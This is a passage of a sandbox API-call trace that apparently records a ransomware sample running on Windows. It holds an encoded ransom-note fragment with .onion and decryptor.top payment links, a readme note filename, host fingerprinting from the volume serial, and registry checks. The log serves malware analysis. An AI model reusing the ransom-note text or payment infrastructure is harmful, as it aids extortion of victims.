BlACAAZgBvAGwAbABvAHcAaQBuAGcAIABsAGkAbgBrADoAIABoAHQAdABwADoALwAvAGEAcABsAGUAYgB6AHUANAA3AHcAZwBhAHoAYQBwAGQAcQBrAHMANgB2AHIAYwB2ADYAegBjAG4AagBwAHAAawBiAHgAYgByADYAdwBrAGUAdABmADUANgBuAGYANgBhAHEAMgBuAG0AeQBvAHkAZAAuAG8AbgBpAG8AbgAvAHsAVQBJAEQAfQANAAoADQAKAEkAbgBzAHQAcgB1AGMAdABpAG8AbgBzACAAaQBuAHQAbwAgAFcAVwBXACAAKABUAGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAbABpAG4AawAgAGMAYQBuACAAbgBvAHQAIABiAGUAIABpAG4AIAB3AG8AcgBrACAAcwB0AGEAdABlACwAIABpAGYAIAB0AHIAdQBlACwAIAB1AHMAZQAgAFQATwBSACAAYQBiAG8AdgBlACkAOgANAAoALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAA0ACgBWAGkAcwBpAHQAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAbABpAG4AawA6ACAAaAB0AHQAcAA6AC8ALwBkAGUAYwByAHkAcAB0AG8AcgAuAHQAbwBwAC8AewBVAEkARAB9AA0ACgANAAoAUABhAGcAZQAgAHcAaQBsAGwAIABhAHMAawAgAHkAbwB1ACAAZgBvAHIAIAB0AGgAZQAgAGsAZQB5ACwAIABoAGUAcgBlACAAaQB0ACAAaQBzADoADQAKAHsASwBFAFkAfQAAAA==", cchString=0x0, dwFlags=0x1, pbBinary=0x20559d0, pcbBinary=0x18fd34, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x20559d0, pcbBinary=0x18fd34, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0054.642] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2054c20) returned 1 [0054.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20aeee8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0054.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20aeee8, cbMultiByte=-1, lpWideCharStr=0x203f848, cchWideChar=17 | out: lpWideCharStr="{EXT}-readme.txt") returned 17 [0054.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20ae7d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0054.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20ae7d0, cbMultiByte=-1, lpWideCharStr=0x203f878, cchWideChar=33 | out: lpWideCharStr="SQBtAGEAZwBlACAAdABlAHgAdAAAAA==") returned 33 [0054.642] CryptStringToBinaryW (in: pszString="SQBtAGEAZwBlACAAdABlAHgAdAAAAA==", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd34, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd34, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0054.642] CryptStringToBinaryW (in: pszString="SQBtAGEAZwBlACAAdABlAHgAdAAAAA==", cchString=0x0, dwFlags=0x1, pbBinary=0x20af108, pcbBinary=0x18fd34, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x20af108, pcbBinary=0x18fd34, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0054.642] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f878) returned 1 [0054.642] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae7d0) returned 1 [0054.642] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee88) returned 1 [0054.642] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee68) returned 1 [0054.642] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeee8) returned 1 [0054.642] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee48) returned 1 [0054.642] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0590) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee28) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aee08) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2045e10) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aede8) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fcc0) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aedc8) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040390) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeda8) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040380) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed88) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040370) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed68) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040360) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed48) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040350) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed28) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040340) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aed08) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040330) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aece8) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040320) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aecc8) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040310) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeca8) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040300) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec88) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402f0) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec68) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402e0) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec48) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402d0) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec28) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402c0) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aec08) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402b0) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aebe8) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402a0) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aebc8) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040290) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeba8) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040280) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb88) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040270) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb68) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040260) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb48) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040250) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb28) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040240) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeb08) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040230) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeae8) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040220) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeac8) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040210) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeaa8) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040200) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea88) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401f0) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea68) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fca8) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea48) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401e0) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea28) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401d0) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afde8) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401c0) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afdc8) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401b0) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afda8) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401a0) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afd88) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040190) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afd68) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040180) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afd48) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040170) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afd28) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040160) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afd08) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040150) returned 1 [0054.644] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afce8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040140) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afcc8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fc90) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afca8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040130) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afc88) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040120) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afc68) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040110) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afc48) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040100) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afc28) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400f0) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afc08) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400e0) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afbe8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400d0) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afbc8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400c0) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afba8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400b0) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afb88) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400a0) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afb68) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040090) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afb48) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fc78) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afb28) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afef8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afb08) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fc60) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afae8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fc48) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afac8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fc30) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afaa8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fc18) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afa88) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fc00) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afa68) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040080) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afa48) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fbe8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afa28) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fbd0) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afa08) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fbb8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af9e8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fba0) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af9c8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fb88) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af9a8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afec0) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af988) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040070) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af968) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040060) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af948) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fb70) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af928) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fb58) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af908) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040050) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af8e8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeec8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af8c8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040040) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af848) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fb40) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af828) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afe98) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af8a8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040030) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af808) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fb28) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af7e8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fb10) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af7c8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203faf8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af7a8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fae0) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af788) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fac8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af768) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeea8) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af748) returned 1 [0054.646] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040020) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af728) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fab0) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af708) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afe48) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af6e8) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afe10) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af6c8) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af6a8) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af688) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af668) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040010) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af648) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af628) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff98) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af888) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fe98) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af868) returned 1 [0054.647] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20403e8) returned 1 [0054.647] CryptBinaryToStringW (in: pbBinary=0x41c1a0, cbBinary=0x20, dwFlags=0x40000001, pszString=0x0, pcchString=0x18fd5c | out: pszString=0x0, pcchString=0x18fd5c) returned 1 [0054.647] CryptBinaryToStringW (in: pbBinary=0x41c1a0, cbBinary=0x20, dwFlags=0x40000001, pszString=0x203fe98, pcchString=0x18fd5c | out: pszString="nAjfiPcoIyeIwwCkM1hLhXo5HUQMtrAB+7m8eHzerho=", pcchString=0x18fd5c) returned 1 [0054.647] GetWindowsDirectoryW (in: lpBuffer=0x0, uSize=0x0 | out: lpBuffer=0x0) returned 0xb [0054.647] GetWindowsDirectoryW (in: lpBuffer=0x20aeea8, uSize=0xb | out: lpBuffer="C:\\Windows") returned 0xa [0054.647] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18fd28, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fd28*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.648] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeea8) returned 1 [0054.648] GetWindowsDirectoryW (in: lpBuffer=0x0, uSize=0x0 | out: lpBuffer=0x0) returned 0xb [0054.648] GetWindowsDirectoryW (in: lpBuffer=0x20aeea8, uSize=0xb | out: lpBuffer="C:\\Windows") returned 0xa [0054.648] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18fd28, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fd28*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.648] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeea8) returned 1 [0054.648] wsprintfW (in: param_1=0x20ae7d0, param_2="%08X%08X" | out: param_1="F3CCD5B98443A5AF") returned 16 [0054.649] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fce0 | out: phkResult=0x18fce0*=0x0) returned 0x2 [0054.650] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fce0 | out: phkResult=0x18fce0*=0x0) returned 0x2 [0054.650] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fce0 | out: phkResult=0x18fce0*=0x0) returned 0x2 [0054.650] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fce0 | out: phkResult=0x18fce0*=0x0) returned 0x2 [0054.650] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fce0 | out: phkResult=0x18fce0*=0x0) returned 0x2 [0054.650] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fce0 | out: phkResult=0x18fce0*=0x0) returned 0x2 [0054.656] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0054.657] 